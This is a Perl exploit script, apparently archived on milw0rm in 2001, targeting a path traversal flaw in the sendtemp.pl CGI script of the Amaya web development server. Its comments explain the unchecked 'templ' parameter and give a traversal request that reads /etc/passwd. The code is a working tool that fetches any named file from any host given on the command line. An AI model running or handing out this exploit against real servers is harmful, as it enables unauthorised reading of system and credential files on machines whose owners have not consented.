#!/usr/bin/perl -w
# sendtemp.pl: A part of the Amaya Web development
# server contains a file disclosure vulnerability,
# which allows remote, read access to files
# on the servers file system, as whichever
# user the httpd is running as.
#
# The Vulnerability is really quite simple..
# When the `templ` argument is past to
# sendtemp.pl it adds a link to the chosen stylesheet
# and a META field containing the publication's
# URL of the new file to the chosen template.
# For example:
# http://localhost/cgi-bin/sendtemp.pl?templ=template.xml
# This is all well and good, however..
# There is no sanity checking on the param you pass to the script..
# Ie: my $temp_file = param("templ");
#
# So by simply issuing a GET to:
# "http://localhost/cgi-bin/sendtemp.pl?templ=../../etc/passwd"
# The systems file system can be traversed and the passwd file can be read.
# (Assuming the http daemon hasn't been run under chroot())
#
# Follows is a simple exploit.. however, its just as easy
# to do this manually in your web browser.
# I really couldnt be bothered to format the output in any way,
# It only encourages script kiddies.
#
# Finally, "l33t hax0r greetz" to..
# ne0h, b0red, loophole, shad0w and the old dL crew..
# Scott, Jim, Mike.. All of the guys at Global Intersec.
#
# Tom Parker - tom@rooted.net
# MRX of HHP-Programming (www.hhp-programming.net)
# Global InterSec INC California - Security Audits, Penetration testing, code auditing.
use IO::Socket;
print qq~
----------------------------------------------------------
W3.ORG sendtemp.pl exploit by Tom Parker - tom\@rooted.net
MRX of HHP-Programming (www.hhp-programming.net)
- Global InterSec INC California -
----------------------------------------------------------
~;
if((!defined($ARGV[0]))||(!defined($ARGV[1]))) { print "Usage\: \%filename\.pl \<hostname\> \<file-to-get\>\n"; exit 0; }
$SOCKET = IO::Socket::INET->new("$ARGV[0]:80");
print $SOCKET "GET /cgi-bin/sendtemp.pl?templ=$ARGV[1]\n";
print "Sent request for $ARGV[1] (http://$ARGV[0]/cgi-bin/sendtemp.pl\?templ\=$ARGV[1])\n";
while(<$SOCKET>) {
push @DATA, $_;
}
my $woot = join(' ',@DATA);
if($woot =~/$ARGV[1] wasn't found/) { print "$ARGV[1] dosnt seem to exist.\n"; exit 0; }
else { print "@DATA"; }
# milw0rm.com [2001-03-04]
